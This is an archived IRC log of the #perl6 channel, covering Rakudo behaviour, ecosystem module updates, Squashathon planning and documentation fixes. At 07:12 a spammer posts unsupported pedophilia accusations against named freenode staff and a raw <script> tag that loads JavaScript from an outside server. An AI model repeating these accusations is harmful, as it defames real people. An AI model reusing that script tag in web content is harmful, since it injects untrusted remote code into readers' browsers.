IRCloggy #perl6 2018-07-28

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	2018-07-28
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Juerd	masak, Zamenhof: Cxu vere? E-istoj cxi tie! Kiel surprizo :D	01:19
Zamenhof	lol I really need to practice more. I worked through a few chapters in the old Ivy Kellerman text, but it escapes me at the moment	01:21
	I am much bettter at Spanish than Esperanto	01:21
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Juerd	Mi eklernis la lingvon antaux kvindek jaroj, sed neniam vere uzis gxin. De tempo al tempo iu montras lertecon aux intereson je esperanto kaj mi sxatas povi skribi etan ion. Nur kun vortaro :D	02:25
araraloren	:O	02:26
Juerd	Ecx cxi tia malkutima uzo fine komprenigis la lingvon al mi, do provadu!	02:28
	(I began learning the language fifteen years ago, but never really used it. Every now and then someone shows proficiency with or interest in esperanto and I like being able to write a little something. Only with a dictionary.)	02:30
	(Even this infrequent use eventually made me understand the language, so keep trying!)	02:32
	And I probably make tons of mistakes, but so does almost everyone :D	02:32
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araraloren	yeah, learning language is the process of making mistake :)	02:34
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Juerd	Unfortunately, spoken languages don't have compilers that give you awesome error messages saying what you're doing wrong...	03:01
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Zoffix	Am I tripping or does is this code failing to catch the exception:	03:06
	m: try [1].pairup;	03:06
camelia	rakudo-moar c60334012: OUTPUT: «Odd number of elements found for .pairup()␤ in block <unit> at <tmp> line 1␤␤»	03:06
Zoffix	Even if you wrap it in eval it fails:	03:06
	m: try '[1].pairup'.EVAL;	03:06
camelia	rakudo-moar c60334012: OUTPUT: «Odd number of elements found for .pairup()␤ in block <unit> at <tmp> line 1␤␤»	03:06
benjikun	the heck	03:08
Zoffix	Ah, OK, got it	03:08
benjikun	why does it happen?	03:08
Zoffix	It returns the Seq and so gets past the `try`. Seq is then sunk and is consumed, and it's at that point that it throws	03:08
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benjikun	I see	03:11
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lucs	In method foo (;; Str $:bar) {⋯ , where can I read up on what those semicolons mean?	03:13
	Ah, class Signature	03:15
benjikun	lucs: yeah, under "long names"	03:16
lucs	Yep, just found it	03:16
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Juerd	Speaking of which, where is ; documented?	03:18
	As in (1; 2; 3, 3; 4)	03:18
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lucs	Wow. I think I understand what those ;; are about, but the example seems a bit short (how about a second multi to contrast, or something) and what is "Long names" about it?	03:23
Zoffix	Juerd: it's a secret, unspecced syntax that's equivalent to commas.	03:23
	(for now)	03:23
Juerd	Found a bit at https://docs.perl6.org/language/list	03:23
Zoffix	lucs: you have the commit bit to the docs repo, right?	03:24
lucs	I might (I think I do), but I don't understand enough about this to fix it.	03:24
Juerd	Zoffix: It's not really equivalent though, as combined with regular commas it creates a list of lists.	03:24
Zoffix	Juerd: ah, I thought you were talking about signatures.	03:25
	lucs: that probably didn't stop the person who used "Long names" header there :)	03:25
Juerd	Zoffix: Oh, I didn't know it was valid in signatures even :)	03:26
lucs	Zoffix :Oookay :)	03:26
Zoffix	lucs: another LTA thing about that example is it uses that syntax with a named param, but those aren't considered by multi dispatch anyway. They're only used to tie-break, so in the example the only effect of ;; would be to emit Ambiguious dispatch error instead of tie-breaking on that named arg	03:28
	And I just checked, you do have a commit :) Full steam ahead: https://github.com/perl6/doc/edit/master/doc/Type/Signature.pod6 :)	03:29
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lucs	Zoffix: I'll try to be a good perl6 citizen and fix it up :)	03:29
benjikun	lucs++	03:30
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Geth	¦ ecosystem: 38687b2406 \| (Benjamin Frady)++ (committed using GitHub Web editor) \| META.list	04:18
	¦ ecosystem: Update META.list	04:18
	¦ ecosystem:	04:18
	¦ ecosystem: adding telegram bot module	04:18
	¦ ecosystem: review: https://github.com/perl6/ecosystem/commit/38687b2406	04:18
buggable	New CPAN upload: HTTP-Headers-0.2.tar.gz by HANENKAMP http://modules.perl6.org/dist/HTTP::Headers:cpan:HANENKAMP	04:21
	New CPAN upload: IP-Random-0.0.10.tar.gz by JMASLAK http://modules.perl6.org/dist/IP::Random:cpan:JMASLAK	04:21
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jmerelo	squashable6: status	06:57
squashable6	jmerelo, ⚠🍕 Next SQUASHathon in 6 days and ≈3 hours (2018-08-04 UTC-12⌁UTC+14). See https://github.com/rakudo/rakudo/wiki/Monthly-Bug-Squash-Day	06:57
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eldritch1	Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/	07:12
	or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/	07:12
	Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate	07:12
	This message was brought to you by Private Internet Access. Voice your opinions at https://webchat.freenode.net/?channels=%23freenode	07:12
	<script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>	07:12
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jmerelo	Zoffix: spam is back, and now with authentication...	07:31
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benjikun	:/	07:35
	do all popular freenode channels get spammed now-a-days?	07:35
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Geth	¦ ecosystem: kalkin++ created pull request #402: Add Pod::To::Latex to ecosystem	07:38
	¦ ecosystem: review: https://github.com/perl6/ecosystem/pull/402	07:38
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stmuk	its not just freenode ... many IRC networks	07:47
benjikun	I don't see much on the rizon chats I occasionally join	07:49
	self-hosting an IRC server wouldn't be hard	07:49
	too much change though for something like that I guess	07:50
Geth	¦ ecosystem/add-ddt-v0.5.3: 1f93177cbe \| (Bahtiar `kalkin-` Gadimov)++ \| META.list	07:50
	¦ ecosystem/add-ddt-v0.5.3: Add Pod::To::Latex to ecosystem	07:50
	¦ ecosystem/add-ddt-v0.5.3:	07:50
	¦ ecosystem/add-ddt-v0.5.3: See https://github.com/kalkin/Pod-To-Latex	07:50
	¦ ecosystem/add-ddt-v0.5.3: review: https://github.com/perl6/ecosystem/commit/1f93177cbe	07:50
	¦ ecosystem/add-ddt-v0.5.3: 615de86d50 \| (Bahtiar `kalkin-` Gadimov)++ \| META.list	07:51
	¦ ecosystem/add-ddt-v0.5.3: Add update for Ddt to v0.5.3	07:51
	¦ ecosystem/add-ddt-v0.5.3:	07:51
	¦ ecosystem/add-ddt-v0.5.3: See https://github.com/kalkin/Ddt	07:51
	¦ ecosystem/add-ddt-v0.5.3: review: https://github.com/perl6/ecosystem/commit/615de86d50	07:51
	¦ ecosystem: kalkin++ created pull request #403: Add update for Ddt to v0.5.3	07:52
	¦ ecosystem: review: https://github.com/perl6/ecosystem/pull/403	07:52
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kalkin-	hi folks!	08:04
benjikun	howdy	08:05
kalkin-	I have finally got around updating my Ddt tool, but during a PR JJ made a comment, which really confuses me. https://github.com/perl6/ecosystem/pull/403#issuecomment-408590516	08:05
	I always thought this is the way to handle multiple versions of a package in the ecosystem repository	08:05
benjikun	kalkin-: You just update the same repository	08:06
	http://modules.perl6.org/search/?q=ddt	08:06
	see, it comes up with three results on modules.perl6.org	08:06
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kalkin-	benjikun: are you sure? ;) Because if you look in the current ecosystem/META.list there are multiple entries for Ddt already	08:06
benjikun	Yeah, there shouldn't be	08:07
	it's supposed to be the master branch, I believe	08:07
kalkin-	benjikun: Also look for the example package Foo from Frogs in the ecosystem/META.list it's also setup like mine package	08:08
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benjikun	There is three	08:08
	that shouldn't be like that either	08:08
jmerelo	kalkin-: hi. Just answered your question also in the PR.	08:08
kalkin-	benjikun: do you have some source for your arguments? because I'm pretty sure this is the way it should be, or at least was ~12 months ago	08:09
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jmerelo	kalkin-: no other module includes different versions, as a matter of fact. I just checked.	08:09
kalkin-	jmerelo: see p6-Foo	08:10
benjikun	That is one of the only ones, it shouldn't be like that either	08:10
jmerelo	kalkin-: that was a test.	08:11
kalkin-	K, I will fix my Ddt PR. Whil I do this please do not merge the Pod-To-Text Pr	08:11
	We will see if after merge Ddt will be shown with all the different versions.	08:12
jmerelo	kalkin-: and I asked for them to be removed precisely for that reason https://github.com/perl6/ecosystem/issues/391, to not confuse people...	08:12
	kalkin-: wasn't gonna. There's an error there you need to fix, please check it out.	08:12
	kalkin-: thanks for understanding it.	08:13
kalkin-	jmerelo: ohh thanks, will fix it	08:13
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jmerelo	kalkin-: sure :-).	08:15
kalkin-	btw given that the META6.json url shows to the master branch content of META6.json, the latest version would always be master HEAD, which is wrong. When I install v0.5.3 I expect to get the tagged release not the current master HEAD	08:15
	Or do tags trump everything else in the ecosystem parsing code?	08:15
	jmerelo: I just triggered travis on my other PR, I think it didn't run after commit --amend	08:16
jmerelo	kalkin-: that's the way zef is designed; I don't think releases have a common API to work with.	08:17
	kalkin-: did you do push --force?	08:17
kalkin-	yes	08:17
	no	08:17
	I have fixed the repo	08:17
	but nevermind it's still wrong because I also linked the versioned source url	08:18
jmerelo	kalkin-: if you have done commit --ammend locally, you need to push --force to change history on the remote repo. It will reject a simple push.	08:18
kalkin-	jmerelo: thakns, I know ;)	08:18
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kalkin-	jmerelo: I fixed my repository, which of course hasn't triggered Travis on some other repository	08:20
	s/some other/ecosystem/	08:20
jmerelo	Yep, Pod::To::Latex is working right now, if that's what you meant.	08:23
kalkin-	Oh shit	08:23
	I have foce pushed it to master	08:24
	I have forgotten I have +w access on ecosystem	08:24
	no I haven't	08:24
	but I created the add-ddt-v0.5.3 branch on perl6/ecosystem facepalm	08:24
benjikun	:p	08:25
	kalkin-: You work on gajim and omemo?	08:26
	I use both of those	08:26
kalkin-	benjikun: I worked. I has initially implemented omemo for gajim.	08:26
	benjikun: awesome!	08:26
benjikun	That's sweet, good job	08:26
	:)	08:27
kalkin-	After some time Lovetox joined the omemo project and because he wasn't happy with the state of Gajim and it slow development, he became on of the main developers of Gajim	08:27
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kalkin-	benjikun: thanks, but I'm more proud of getting such a capable developer like Lovetox to work on Gajim	08:27
	:)	08:27
Geth	¦ doc: 176e2e2065 \| (JJ Merelo)++ \| doc/Language/5to6-nutshell.pod6	08:29
	¦ doc: Several improvements on this page	08:29
	¦ doc:	08:29
	¦ doc: It actually started with #1566, trying to improve the description of	08:29
synopsebot	Link: https://doc.perl6.org/language/5to6-nutshell	08:29
Geth	¦ doc: constants. However, while I was at it, I noticed references to	08:29
	¦ doc: Synopsis, so I changed a few of them working on #2225.	08:29
	¦ doc: This also fixes #2226 and, in fact, has generated rakudo/rakudo#2141	08:29
synopsebot	RAKUDO#2141 [open] : https://github.com/rakudo/rakudo/pull/2141 Adds doc for option that apparently works	08:29
Geth	¦ doc: for a command line flag that was referenced here and was actually	08:29
	¦ doc: working on Perl 6 (undocumented). Of course, there was a bit of #2223	08:29
	¦ doc: and a bit of reflow.	08:29
	¦ doc:	08:29
	¦ doc: I guess now it's back to work on #1566 or maybe #2225.	08:29
	¦ doc: review: https://github.com/perl6/doc/commit/176e2e2065	08:29
	¦ ecosystem/add-ddt-v0.5.3: 518af6f212 \| (Bahtiar `kalkin-` Gadimov)++ \| META.list	08:29
	¦ ecosystem/add-ddt-v0.5.3: Add update for Ddt to v0.5.3	08:29
	¦ ecosystem/add-ddt-v0.5.3:	08:29
	¦ ecosystem/add-ddt-v0.5.3: See https://github.com/kalkin/Ddt	08:29
	¦ ecosystem/add-ddt-v0.5.3: review: https://github.com/perl6/ecosystem/commit/518af6f212	08:29
jmerelo	kalkin-: this omemo? https://es.wikipedia.org/wiki/Omemo	08:30
kalkin-	Yes	08:31
benjikun	It'd be cool to have omemo implemented in a perl6 module lol	08:31
kalkin-	Aehm dunno	08:31
	I don't speak es	08:31
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kalkin-	This is https://en.wikipedia.org/wiki/OMEMO	08:31
jmerelo	kalkin-: nothing to do with the other.	08:31
kalkin-	jmerelo: sorry ☺	08:32
jmerelo	kalkin-: no problem. It was weird, because I remember some funky stuff about the other omemo.	08:33
kalkin-	jmerelo: which one had funky stuff?	08:33
jmerelo	kalkin-: the other, of course.	08:34
kalkin-	Right… :-D	08:35
	jmerelo: Both PR's passed tests and have the right URLs. I also removed all the old Ddt URLs	08:42
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Geth	¦ ecosystem: 518af6f212 \| (Bahtiar `kalkin-` Gadimov)++ \| META.list	08:43
	¦ ecosystem: Add update for Ddt to v0.5.3	08:43
	¦ ecosystem:	08:43
	¦ ecosystem: See https://github.com/kalkin/Ddt	08:43
	¦ ecosystem: review: https://github.com/perl6/ecosystem/commit/518af6f212	08:43
	¦ ecosystem: d2c287808e \| (Juan Julián Merelo Guervós)++ (committed using GitHub Web editor) \| META.list	08:43
	¦ ecosystem: Merge pull request #403 from perl6/add-ddt-v0.5.3	08:43
	¦ ecosystem:	08:43
	¦ ecosystem: Add update for Ddt to v0.5.3	08:43
	¦ ecosystem:	08:43
jmerelo	kalkin-: thanks!	08:43
Geth	¦ ecosystem: Thanks a lot!	08:43
	¦ ecosystem: review: https://github.com/perl6/ecosystem/commit/d2c287808e	08:43
kalkin-	jmerelo: thank you!	08:44
Geth	¦ ecosystem: 0085a2e432 \| (Bahtiar `kalkin-` Gadimov)++ \| META.list	08:44
	¦ ecosystem: Add Pod::To::Latex to ecosystem	08:44
	¦ ecosystem:	08:44
	¦ ecosystem: See https://github.com/kalkin/Pod-To-Latex	08:44
	¦ ecosystem: review: https://github.com/perl6/ecosystem/commit/0085a2e432	08:44
	¦ ecosystem: ac145a374c \| (Juan Julián Merelo Guervós)++ (committed using GitHub Web editor) \| META.list	08:44
	¦ ecosystem: Merge branch 'master' into master	08:44
	¦ ecosystem: review: https://github.com/perl6/ecosystem/commit/ac145a374c	08:45
	¦ ecosystem: f13b454313 \| (Juan Julián Merelo Guervós)++ (committed using GitHub Web editor) \| META.list	08:45
	¦ ecosystem: Merge pull request #402 from kalkin/master	08:45
	¦ ecosystem:	08:45
	¦ ecosystem: Add Pod::To::Latex to ecosystem	08:45
	¦ ecosystem: review: https://github.com/perl6/ecosystem/commit/f13b454313	08:45
jmerelo	kalkin-: and merged too :-) Thanks for both modules.	08:45
kalkin-	benjikun: About OMEMO & Perl6. No reason and a lot of effort to have XMPP bootstrapped to the state where you could implement OMEMO	08:45
	OMEMO: Is not just crypto it expects the Chat Protocol to have support for certain features (Which are defined in form of XEPs) to work properly	08:46
Geth	¦ doc: 40681a8050 \| (JJ Merelo)++ \| doc/Language/5to6-nutshell.pod6	08:47
	¦ doc: Removes all references to synopsis... but one	08:47
	¦ doc:	08:47
	¦ doc: Which probably makes sense since it speaks about what options were	08:47
synopsebot	Link: https://doc.perl6.org/language/5to6-nutshell	08:47
Geth	¦ doc: going to be removed. Closes #2225	08:47
	¦ doc: review: https://github.com/perl6/doc/commit/40681a8050	08:47
kalkin-	I took over the Net::XMPP package planing to get XMPP perl6 support to the desired state, but no time and actual need	08:48
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kalkin-	benjikun: but if you volunteer, I can guide you and give some hints on what needs to be done and which XEPs to read	08:51
	:)	08:51
benjikun	kalkin-: That'd be cool.	08:52
	as for Net::XMPP	08:53
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kalkin-	benjikun: When you have some time to work on it just contact me via XMPP [email@hidden.address]	08:57
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benjikun	m: my $s = 1 but 2; say $s.Int;	09:21
camelia	rakudo-moar 72c8cf68c: OUTPUT: «2␤»	09:21
benjikun	m: my $s = 1 but Date.new(DateTime.now); say $s; say $s.year;	09:23
camelia	rakudo-moar 72c8cf68c: OUTPUT: «1␤No such method 'year' for invocant of type 'Int+{<anon\|1>}'. Did you mean any of these?␤ Real␤ head␤␤ in block <unit> at <tmp> line 1␤␤»	09:23
benjikun	m: my $s = 1 but Date.new(DateTime.now); say $s; say $s.Date.year;	09:23
camelia	rakudo-moar 72c8cf68c: OUTPUT: «1␤2018␤»	09:23
benjikun	never knew `but` was a thing, cool	09:23
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kalkin-	I think I was right about maintaining different versions in META.list	09:42
	zef install "Ddt:ver<0.4.3>"	09:43
	===> Searching for: Ddt:ver<0.4.3>	09:43
	No candidates found matching identity: Ddt:ver<0.4.3>	09:43
	modules.perl6.org also lists only one entry	09:44
	jmerelo: what now? Should I add multiple urls back?	09:44
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benjikun	Perhaps zef can only do that for CPAN, which is a problem	09:49
	not sure	09:49
	kalkin- mumbling: told you it wont work…	09:50
kalkin-	:)	09:50
benjikun	You aren't supposed to have to add every version to the META.list file in my opinion	09:51
	Perhaps we should open an issue on zef	09:51
	It should look through the releases on github	09:51
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kalkin-	for each github url in the META.list file? I think this will be to slow, that's why it only works on cpan	09:52
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kalkin-	CPAN probably has a proper api for getting ALL_TEH_DATA at once	09:52
benjikun	https://api.github.com/repos/kalkin/Ddt/releases	09:55
	You can get all of the releases like that through the github api	09:56
	has links to the tarballs	09:56
kalkin-	benjikun: yes, but then you have to call this url for EACH of modules in META.list	09:56
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kalkin-	so if you do zef info Ddt it shows all versions	09:57
	and also zef search should return all versions	09:57
	ect…	09:57
	shows all versions without needing to be online or github to be online	09:57
	you need to get this information during zef update execution. I would think CPAN has a GET_ALL_DATA_WITH_ALL_VERSIONS_SINCE_DATE API call	09:58
	so you can fetch all the data including for each package version in one call	09:58
benjikun	The entire reason why this is an issue is because it creates unnecessary confusion on modules.perl6.org	10:01
	That doesn't even show the github version being linked	10:01
kalkin-	I agree that this is an issue too	10:01
benjikun	I don	10:02
	I don't really like our github side of the module stuff**	10:02
kalkin-	no one does. But before I migrate to CPAN I need to teach ddt handling it	10:06
benjikun	Yeah	10:07
	Welp, I'm off to sleep. We'll figure it out later if nobody else does	10:07
	Night	10:07
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FROGGS	kalkin-: take a loot at the p6*json.gz at the bottom: ftp://ftp.gwdg.de/pub/languages/perl/CPAN/authors/	10:14
yoleaux	7 Jun 2018 16:57Z <raiph> FROGGS: Fyi, https://stackoverflow.com/a/50745483/1077672	10:14
	10 Jun 2018 11:57Z <kiwi_51> FROGGS: Hi, folk liked https://github.com/rakudo/rakudo/search?q=carray+has&type=Commits but https://stackoverflow.com/questions/50777614/passing-an-inlined-carray-in-a-cstruct-to-a-shared-library-using-nativecall	10:14
FROGGS	tell benjikun take a loot at the p6*json.gz at the bottom: ftp://ftp.gwdg.de/pub/languages/perl/CPAN/authors/	10:14
	.tell benjikun take a loot at the p6*json.gz at the bottom: ftp://ftp.gwdg.de/pub/languages/perl/CPAN/authors/	10:14
yoleaux	FROGGS: I'll pass your message to benjikun.	10:14
FROGGS	kalkin-, sadly I messed up the path so it ended up in /authors	10:15
jmerelo	FROGGS: right. All versions are there.	10:15
kalkin-	how can I include a module only if it exists?	10:32
	I'm using this to check for it $*REPO.resolve(CompUnit::DependencySpecification.new(:short-name<JSON::Fast>))	10:33
	But it looks that I can't use “use” for importing it, because use is resolved at compile time???	10:33
	ohh may be require will work	10:34
araraloren	kalkin- you need require	10:34
	https://docs.perl6.org/language/modules#index-entry-require	10:34
kalkin-	yes it does. Thanks ararloren	10:34
	araraloren I mean	10:34
araraloren	yeah, require wil be failed when the module not exists	10:34
	welcome	10:35
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jmerelo	zoffix: here's the graph of failed distros and their relationship https://github.com/JJ/p6-river/blob/master/illos/failed-distros-graph.svg Arrowhead means "depends on".	10:58
	zoffix: That cuts down the distros we have to work on for bitrot squashaton to half a dozen, in principle.	10:59
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AlexDaniel	uh oh no?	11:10
Luneburg	I'm having some trouble with exercise 6.2 from the Think Perl book. The exercise says to "use a while loop to compute the terms of the summation until the last term is smaller than 1e-15."	11:10
AlexDaniel	so you're saying that if a module has no deps it's not part of the squashathon? I don't think so	11:10
	jmerelo: the whole point is that less than ⅓ of modules pass their tests, that makes ⅔ of the ecosystem somewhat useless	11:11
	so IMO >750 modules is what we have to work on during the squashathon :)	11:12
jmerelo	AlexDaniel: what I'm saying is that it's more useful to focus on those modules, at least for starters, that other modules depend on	11:13
araraloren	Luneburg so, what's the problem ?	11:13
jmerelo	AlexDaniel: of course, you can focus on whatever you please :-)	11:13
AlexDaniel	jmerelo: so Stats has a PR for it already, BioInfo just depends on that so needs no work	11:14
	jmerelo: HTTP::UserAgent just flaps in toaster, very likely modules depending on it have no issues	11:14
jmerelo	AlexDaniel: among other things. If we fix HTTP::UserAgent, there are a bunch of others thar are failing for that reason that will fall like dominoes	11:15
AlexDaniel	jmerelo: xxHash is “Cannot locate native library 'libxxhash.so.0.6.5': libxxhash.so.0.6.5: cannot open shared object file: No such file or directory”	11:15
jmerelo	AlexDaniel: those are toaster issues...	11:15
AlexDaniel	jmerelo: what I'm trying to say is that on this graph there are pretty much no modules to work on	11:15
jmerelo	AlexDaniel: I have seen a couple like that one. They fail because they need some external library to work.	11:16
	AlexDaniel: you can use the extended list https://github.com/JJ/p6-river/blob/master/data/dependent-failing-distros.csv	11:16
AlexDaniel	jmerelo: well, my extended list is >750 modules :)	11:17
jmerelo	AlexDaniel: that chart includes only those that fail and depend on other that also fails (which might be the reason why they fail)	11:17
	AlexDaniel: again, it's difficult to focus with 750 modules and again, focus on whatever you want, starting with the A or Z	11:17
AlexDaniel	jmerelo: is there any other option?	11:18
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jmerelo	AlexDaniel: yes, the list above, starting by the module with the highest number of dependencies, and working down from that... By the time you've done Pastebin::Shadowcat, which are 46 modules, you can start with those with no dependencies (the 704 remaining ones)	11:19
AlexDaniel	jmerelo: Shadowcat is done, it's a flapper	11:20
araraloren	what you guys trying to do ？	11:20
jmerelo	araraloren: establish priorities for the next Squashathon	11:20
	squashable6: status	11:20
squashable6	jmerelo, ⚠🍕 Next SQUASHathon in 5 days and ≈22 hours (2018-08-04 UTC-12⌁UTC+14). See https://github.com/rakudo/rakudo/wiki/Monthly-Bug-Squash-Day	11:20
jmerelo	AlexDaniel: then next on the line, Audio::Icecast	11:20
AlexDaniel	jmerelo: my point is that if we go this way, the squashathon will end tomorrow if I spend at least an hour on it	11:21
jmerelo	AlexDaniel: also, you wanted to know what to track from the bot; it's difficult to track 750 distros. Let's start with those 46 (down to 45 now), and then let's establish some other criterium for the rest, like having been updated (or not) in the last year.	11:22
	AlexDaniel: that's going to be a very profitable hackathon.	11:22
AlexDaniel	jmerelo: exactly my point	11:22
	jmerelo: Pastebin::Shadowcat installs correctly, it's ✓	11:23
jmerelo	AlexDaniel: let's go for an additional criterium, then... For an squashathon, we need to put the focus on a few of them, rank them according to priorities, at least.	11:23
	AlexDaniel: lexicographical ordering is not exactly a priority.	11:24
AlexDaniel	jmerelo: that I agree with, what's the criteria then	11:24
	Zoffix: do we have any stats for hits on modules.perl6.org?	11:24
	jmerelo: Audio::Icecast installs fine, next?	11:25
jmerelo	AlexDaniel: https://github.com/JJ/p6-river/blob/master/data/dependent-failing-distros.csv	11:25
	Also, shouldn't toaster take that into account? AlexDaniel	11:26
AlexDaniel	jmerelo: toaster as of today does not attempt to detect flaps, also it does too much work by installing the same modules more than once	11:27
jmerelo	AlexDaniel: a criterium could be number of open issues.	11:27
	AlexDaniel: another: age. The oldest, it could be a candidate for adoption.	11:29
Luneburg	araraloren: I think I figured it out, thanks :D	11:30
araraloren	okay	11:33
jmerelo	AlexDaniel: I've just uploaded a Perl6::Ecosystem module which is based on your code for downloading ecosystem data	11:33
AlexDaniel	jmerelo: cool I'm fine with that	11:34
jmerelo	AlexDaniel: I've listed you as co-author. Hope you're OK with that.	11:34
AlexDaniel	jmerelo: https://gist.github.com/AlexDaniel/8972b816ecc3471d5a4d86e7eea15614	11:34
	jmerelo: I have to go now but for example you could go through all of them	11:35
	jmerelo: that'd at least make a list of modules that are actually failing (and have at least 1 dep, right?)	11:35
	jmerelo: we can make that “priority 1”	11:36
El_Che	jmerelo: openissues as an absolute is tricky	11:36
jmerelo	AlexDaniel: OK	11:36
El_Che	jmerelo: a popular project will have more open issues simply because more issues are raised (if at all)	11:36
	maybe a % of closed vs open?	11:37
	tricky	11:37
jmerelo	El_Che: we need to go for stuff that is easy to check. And then, number of issues is OK since, well, there are issues that can be solved, and, as you say, it's correlated with popularity.	11:37
	El_Che: we should better focus on popular issues that need help that on abandoned modules no one cares about...	11:38
	El_Che: ^issues^modules	11:38
El_Che	also, does it have a active maintainer that needs help	11:38
	or a non-active one	11:38
jmerelo	El_Che: that info is not on the ecosystem, I think	11:38
AlexDaniel	bringing old modules back to life isn't a bad idea cuz they work for pre-release regression testing	11:39
El_Che	PR is a good pointer	11:39
	e.g. perl(5)-ldap: my PR is waiting merging from end 2016	11:39
jmerelo	AlexDaniel: some modules should be deleted also. We could eliminate panda, for instance. It's just a matter of eliminating it from meta.list, right?	11:39
El_Che	I don't feel bad because there are PR's open from 2011	11:40
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buggable	New CPAN upload: Perl6-Ecosystem-0.0.1.tar.gz by JMERELO https://cpan.metacpan.org/authors/id/J/JM/JMERELO/Perl6/Perl6-Ecosystem-0.0.1.tar.gz	11:41
stmuk	Surely its up to the module owner whether a module should be deleted or not?	11:42
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AlexDaniel	stmuk: yeah	11:50
El_Che	stmuk: didn't we tell you we have the master key of github	11:51
FROGGS	kalkin- you can also use the pragma/module "if"	11:57
	for conditional use of a module, that is	11:57
	https://github.com/FROGGS/p6-if	11:57
	though that'd mean that if something was not present at compile time, it wont be used if it get installed later on	11:59
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kalkin-	.tell FROGS sadly I can not use any external dependencies. It's actually a patch for zef to use JSON::Fast if installed	12:15
yoleaux	kalkin-: I'll pass your message to FROGS.	12:15
tbrowder_	\o	12:18
kalkin-	shapes of ~6 seconds on my machine	12:18
	(for zef search)	12:19
tbrowder_	is the presence of my Foo::Bar module bothering anyone?	12:21
kalkin-	lol I can't load the html profile output from `perl6 --profile -I. bin/zef search Foo`. I tried Firefox & Chrome :)	12:26
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MasterDuke	kalkin-: you know about the json and sql output options?	12:29
kalkin-	yes	12:29
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kalkin-	I'm currently trying them	12:29
MasterDuke	cool	12:29
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scovit	Zoffix: I do not understand the reasoning behind https://rt.perl.org/Public/Bug/Display.html?id=128785 ?	12:44
	for complex number zeros to the power of zero is not defined, since by definition a^b == e^(b Log a)	12:48
	also I do not follow the reason to be different from fortran, since I suspect that fortran is the only language where a complex data type has ever been used	12:51
	I feel that one should contact a real expert, or search ieee standards (that will define it the way above)	12:52
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drudgesentinel	Hey guys, what utility do you recommend for html/xml parsing in Perl6, ala Python's Beautiful Soup?	13:46
	My readings have led me to believe it's inappropriate to use regex to parse HTML	13:47
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CIAvash[m]	drudgesentinel: take a look at DOM::Tiny https://github.com/zostay/p6-DOM-Tiny	13:56
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AlexDaniel	drudgesentinel: the closest I've seen is Gumbo https://modules.perl6.org/search/?q=gumbo	14:05
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Zoffix	scovit: the IEEE 754 doesn't define anything for complex numbers and the reasoning behind RT#128785 is doing the more common thing	14:36
synopsebot	RT#128785 [resolved] : https://rt.perl.org/Ticket/Display.html?id=128785 [MATH] Zero to the zeroeth power: Complex numbers not consistent with others.	14:36
Zoffix	scovit: we're not mathematicians; we're programmers. 1e0/0e0 is Inf, not undefined, so what's the reasoning for giving NaNs for the complex powers other than it's undefined in math?	14:37
	"one should contact a real expert"... like whom?	14:37
El_Che	Zoffix: if mathematicians are needed ping DanaJ and BrianD. They are both into maths	14:38
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Zoffix	El_Che: I need programmers, not mathematicians.	14:39
El_Che	Zoffix: they are both	14:39
Zoffix	El_Che: I don't see either of the nick on IRC.	14:39
El_Che	and I am giving name for scovit's question about mathematicians	14:39
	they are both active in the perl 6 community giving math related talks	14:39
	(I have no stake in the discussion itself, not that invested in math)	14:40
Zoffix	El_Che: but how do I "ping" them?	14:41
	m: dd log	14:44
camelia	rakudo-moar 72c8cf68c: OUTPUT: «=== SORRY!=== ␤Argument to "log" seems to be malformed␤at <tmp>:1␤------> dd log ⏏ <EOL> ␤Other potential difficulties:␤ Unsupported use of bare "log"; in Perl 6 please use .log if you meant to call it as a method on $_, or use …»	14:44
Zoffix	m: dd log 09	14:44
camelia	rakudo-moar 72c8cf68c: OUTPUT: «Potential difficulties:␤ Leading 0 has no meaning. If you meant to create an octal number, use '0o' prefix, but note that 9 is not a valid octal number. If you meant to create a string, please add quotation marks.␤ at <tmp>:1␤ ------> …»	14:44
Zoffix	m: dd log 0	14:44
camelia	rakudo-moar 72c8cf68c: OUTPUT: «-Inf␤»	14:44
Zoffix	Actually, I guess it can be defined by IEEE, since it does say about log 0	14:45
	m: 0*(0 log 0)	14:45
camelia	rakudo-moar 72c8cf68c: OUTPUT: «WARNINGS for <tmp>:␤Useless use of "" in expression "0(0 * log 0)" in sink context (line 1)␤»	14:45
Zoffix	m: dd 0*(0 log 0)	14:45
camelia	rakudo-moar 72c8cf68c: OUTPUT: «NaN␤»	14:45
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	parv was trying to see what I'd get via search for 0^0 topic. On a quora page I see an ad about chating w/ a therapist if struggling emotionally. ;-]	14:50
El_Che	that's not bad advice :)	14:51
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	parv can't write in third person in excess of handful of words :-<	14:53
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lucs	Multi-dispatch involves the idea of "narrowest type". Where is (if it is) that concept explained in the docs?	15:08
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tyil	https://docs.perl6.org/language/glossary#index-entry-Multi-Dispatch	15:14
	"The process of picking a candidate for calling of a set of methods or subs that come by the same name but with different arguments. The most narrow candidate wins. In case of an ambiguity, a routine with is default trait will be chosen if one exists, otherwise an exception is thrown."	15:14
	lucs: ^	15:14
Zoffix	lucs: not sure, but you can think of it as "closest" ancestor. `multi foo(Any) {}; multi foo(Numeric) {}; multi foo(Int) {}` <--- if you call `foo(1)` which is an Int, the closest one is the Int multi. If you call `foo(4e0)`, that no longer fits into Int, so look at the closest next one, `Numeric` is closer (it's not really an ancestor, but it's closer in a sense that you're comparing those with Numeric role	15:15
	and those without and 4e0 does Numeric), and if you call foo(now), neither Numeric nor Int multies fit, so all you got left is Any	15:15
lucs	Maybe just traversing the MRO is a way of thinking about it?	15:15
	m: say Int.^mro	15:15
camelia	rakudo-moar 72c8cf68c: OUTPUT: «((Int) (Cool) (Any) (Mu))␤»	15:15
lucs	So Int is narrower than Cool, which is narrower than Any, and so on.	15:16
	m: say Rat.^mro	15:16
camelia	rakudo-moar 72c8cf68c: OUTPUT: «((Rat) (Cool) (Any) (Mu))␤»	15:16
lucs	And Int and Rat are not "narrowly" related.	15:16
	Does that make sense?	15:16
Zoffix	mhm	15:17
lucs	Uh, not sure what "mhm" means, sorry :/	15:18
Zoffix	Yes	15:18
lucs	A	15:18
	Ah, okay, thanks.	15:18
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lucs	Nothing like trying to responsibly fix docs to gain a deeper understanding of how things work :)	15:22
Zoffix	yup	15:23
